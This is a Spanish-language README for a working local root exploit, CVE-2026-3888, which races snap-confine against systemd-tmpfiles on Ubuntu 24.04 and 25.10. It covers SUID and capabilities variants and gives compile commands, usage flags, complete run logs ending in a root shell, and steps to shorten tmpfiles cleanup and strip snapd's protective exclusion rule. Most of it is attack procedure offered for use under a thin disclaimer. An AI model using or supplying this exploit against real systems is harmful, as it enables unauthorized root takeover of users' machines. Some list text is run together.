
Exploit de escalada de privilegios local para CVE-2026-3888 dirigido a snap-confine y systemd-tmpfiles en Ubuntu, que proporciona variantes SUID y de capacidades para lograr acceso root.
Escalada de privilegios local desde un usuario sin privilegios hasta root completo en Ubuntu Desktop 24.04+ explotando una condición de carrera TOCTOU entre snap-confine y systemd-tmpfiles. Se proporcionan dos variantes: SUID y Capabilities.
CVSS: 7.8 (Alta) | Aviso: Qualys | Parche: snapd 2.74.2, 17 de marzo de 2026
systemd-tmpfiles elimina el directorio de imitación .snap obsoleto bajo /tmp (caducidad de 30 días)snap-confine mediante contrapresión de socket AF_UNIX para ganar la carrera de forma fiable durante la secuencia de bind-mount de imitaciónld-linux-x86-64.so.2 se reemplaza con shellcode que llama a setreuid(0,0) + execvesnap-confine SUID dispara el shellcode con privilegios de root/var/snap/firefox/common/ para escapar del sandbox| Archivo | Descripción |
|---|---|
exploit_suid.c | Exploit unificado de un solo binario — las 7 fases en un orquestador basado en fork |
librootshell_suid.c | Payload — ELF mínimo que reemplaza ld-linux-x86-64.so.2 mediante syscalls x86_64 crudas |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Ambos deben compilarse en (o compilarse de forma cruzada para) Linux x86_64. exploit está enlazado estáticamente para ejecutarse dentro del sandbox de snap sin dependencias de bibliotecas. librootshell.so usa -nostdlib porque contiene solo syscalls crudas — sin libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Descripción |
|---|---|
-d | Mostrar salida de depuración de snap-confine (modo verbose) |
-s | Omitir la espera de limpieza de .snap (requiere contraseña de root) |
# Ejecución normal
./exploit ./librootshell.so
# Modo depuración
./exploit ./librootshell.so -d
# Reintentar tras fallo
./exploit ./librootshell.so -s
El exploit entra en el sandbox, espera a que systemd-tmpfiles elimine .snap (hasta 10 días en Ubuntu 25.10 estándar y hasta 30 días en Ubuntu 24.04 estándar), y luego ejecuta la carrera automáticamente. En caso de éxito, proporciona un shell de root.
snap-confine debe ser SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer activobusybox disponible en el objetivo (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entrando en el sandbox de Firefox...
[+] PID del shell interno: 3122
[Phase 2] Esperando la eliminación de .snap...
[*] Sondeando (hasta 30 días en Ubuntu estándar).
[*] Sugerencia: use -s para omitir.
[+] .snap eliminado.
[Phase 3] Destruyendo el espacio de nombres de montaje en caché...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Espacio de nombres destruido.
[Phase 4] Configurando y ejecutando la carrera...
[*] Directorio de trabajo: /proc/3122/cwd
[*] Construyendo .snap y .exchange...
[*] 285 entradas copiadas al directorio de intercambio
[*] Iniciando la carrera...
[*] Monitoreando snap-confine (PID hijo 3543)...
[!] DISPARADOR — intercambiando directorios...
[+] INTERCAMBIO COMPLETADO — ¡carrera ganada!
[*] ld-linux en el espacio de nombres: user:user 755
[+] Espacio de nombres envenenado PID: 3543
[Phase 5] Inyectando payload en el espacio de nombres envenenado...
[+] ld-linux propiedad de uid 1000 (atacante). Carrera confirmada.
[*] Instalando busybox...
[*] Escribiendo script de escape → /tmp/sh
[*] Sobrescribiendo ld-linux-x86-64.so.2...
[+] Payload inyectado.
[Phase 6] Disparando root mediante snap-confine SUID...
[*] snap-confine → snap-confine (disparador SUID)
[*] Estado de salida: 0
[Phase 7] Verificando...
[+] bash SUID root: /var/snap/firefox/common/bash (modo 4755)
[*] Limpiando procesos en segundo plano...
================================================================
SHELL ROOT: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles elimina el directorio de imitación .snap obsoleto bajo /tmpsnap-confine mediante contrapresión de socket AF_UNIX para ganar la carrera de forma fiable durante la secuencia de bind-mount de imitación de /var/lib/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab montan por bind un /etc envenenado (con ld.so.preload) dentro del sandboxsu SUID-root desde /tmp/.snap precarga librootshell.so que llama a setreuid(0,0) + | Archivo | Descripción |
|---|---|
exploit_caps.c | Exploit unificado de un solo binario — las 7 fases en un orquestador basado en fork |
librootshell_caps.c | Payload — biblioteca compartida con constructor que llama a setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Ambos deben compilarse en (o compilarse de forma cruzada para) Linux x86_64. exploit está enlazado estáticamente para ejecutarse dentro del sandbox de snap sin dependencias de bibliotecas. librootshell.so usa -nostartfiles y un __attribute__((constructor)) — se carga mediante ld.so.preload antes del main() del binario objetivo.
./exploit <librootshell.so> [-d] [-s]
| Flag | Descripción |
|---|---|
-d | Mostrar salida de depuración de snap-confine (modo verbose) |
-s | Omitir la espera de limpieza de .snap (usar cuando .snap ya no existe) |
# Ejecución normal
./exploit ./librootshell.so
# Modo depuración
./exploit ./librootshell.so -d
# Omitir espera (reintento)
./exploit ./librootshell.so -s
El exploit entra en el sandbox, espera a que systemd-tmpfiles elimine .snap (hasta 10 días en Ubuntu 25.10 estándar y hasta 30 días en Ubuntu 24.04 estándar), y luego ejecuta la carrera automáticamente. En caso de éxito, proporciona un shell de root.
snap-confine debe tener capabilities (cap_sys_admin, cap_chown, cap_dac_override, etc.)snap-store instalado (predeterminado en Ubuntu Desktop)core22 instaladosystemd-tmpfiles-clean.timer activobusybox disponible en el objetivo (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entrando en el sandbox de snap-store...
[+] PID del shell interno: 3501
[Phase 2] Esperando la eliminación de .snap...
[*] Sondeando (hasta 10 días en Ubuntu 25.10).
[*] Sugerencia: use -s para omitir.
[+] .snap eliminado.
[Phase 3] Destruyendo el espacio de nombres de montaje en caché...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Espacio de nombres destruido (.mnt desaparecido).
[Phase 4] Configurando y ejecutando la carrera...
[*] Directorio de trabajo: /proc/3501/cwd
[*] Construyendo .snap y .exchange...
[*] 17 entradas copiadas al directorio de intercambio
[*] Iniciando la carrera...
[*] Monitoreando snap-confine (PID hijo 3678)...
[!] DISPARADOR — intercambiando directorios...
[+] INTERCAMBIO COMPLETADO — ¡carrera ganada!
[+] Carrera ganada. /var/lib/snapd ahora es propiedad del usuario.
[Phase 5] Configurando payload y user-fstab...
[*] Copiando /etc a .snap/etc...
[*] Escribiendo ld.so.preload...
[*] Escribiendo user-fstab...
[*] Copiando librootshell.so a /tmp/...
[*] Copiando busybox...
[*] Escribiendo script de escape...
[*] Intercambiando var/lib de vuelta (restaurando metadatos originales de snapd)...
[+] Payload listo.
[Phase 6] Disparando root mediante binario SUID en /tmp/.snap...
[*] Ejecutando: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Estado de salida: 0
[Phase 7] Verificando...
[+] bash SUID root: /var/snap/snap-store/common/bash (modo 4755)
[*] Limpiando procesos en segundo plano...
================================================================
SHELL ROOT: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
En una instalación estándar de Ubuntu, la limpieza de .snap tarda 30 días (24.04) o 10 días (25.10). Para acelerar esto en pruebas, reduzca la antigüedad de /tmp y el intervalo del temporizador:
Edite /usr/lib/tmpfiles.d/tmp.conf (como root):
# Cambie la antigüedad de 30d a 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Verifique:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Debería mostrar: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Verifique:
systemctl list-timers systemd-tmpfiles-clean
# La columna NEXT debería mostrar ~1 minuto desde ahora
snapd 2.73+ añade una regla de exclusión que impide que tmpfiles limpie .snap. Si su sistema la tiene, verifíquela y elimínela:
cat /usr/lib/tmpfiles.d/snapd.conf
# Si ve: x /tmp/snap-private-tmp/*/tmp/.snap
# Elimine esa línea, o degrade a snapd 2.71.1
Con estos ajustes, .snap se limpiará en ~5 minutos después de quedar obsoleto, permitiendo iteraciones rápidas durante las pruebas.
Este código se proporciona estrictamente con fines educativos, investigación de seguridad autorizada y compromisos de pruebas de penetración donde se haya obtenido permiso escrito explícito. El autor no asume ninguna responsabilidad por el mal uso de este software. Al usar este código, usted acepta que es el único responsable de sus acciones y de cualquier consecuencia que surja de su uso. No use este código contra sistemas que no posea o para los que no tenga autorización explícita de prueba.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Snap objetivo | firefox | snap-store |
| Imitar objetivo | /usr/lib/x86_64-linux-gnu (~285 entradas) | /var/lib (~17 entradas) |
| Vector de explotación | Sobrescribir ld-linux-x86-64.so.2 con shellcode | Controlar user-fstab + ld.so.preload |
| Formato del payload | ELF estático con syscalls crudas | Biblioteca compartida con __attribute__((constructor)) |
| Disparador de root | snap-confine SUID carga el enlazador dinámico envenenado | su SUID en /tmp/.snap precarga .so |
| Requisito de cgroup | Cualquier nombre snap.* | Coincidencia exacta: snap.snap-store.hook.configure |
Limpieza de .snap | 30 días | 10 días |
| Escape del sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ para escapar del sandbox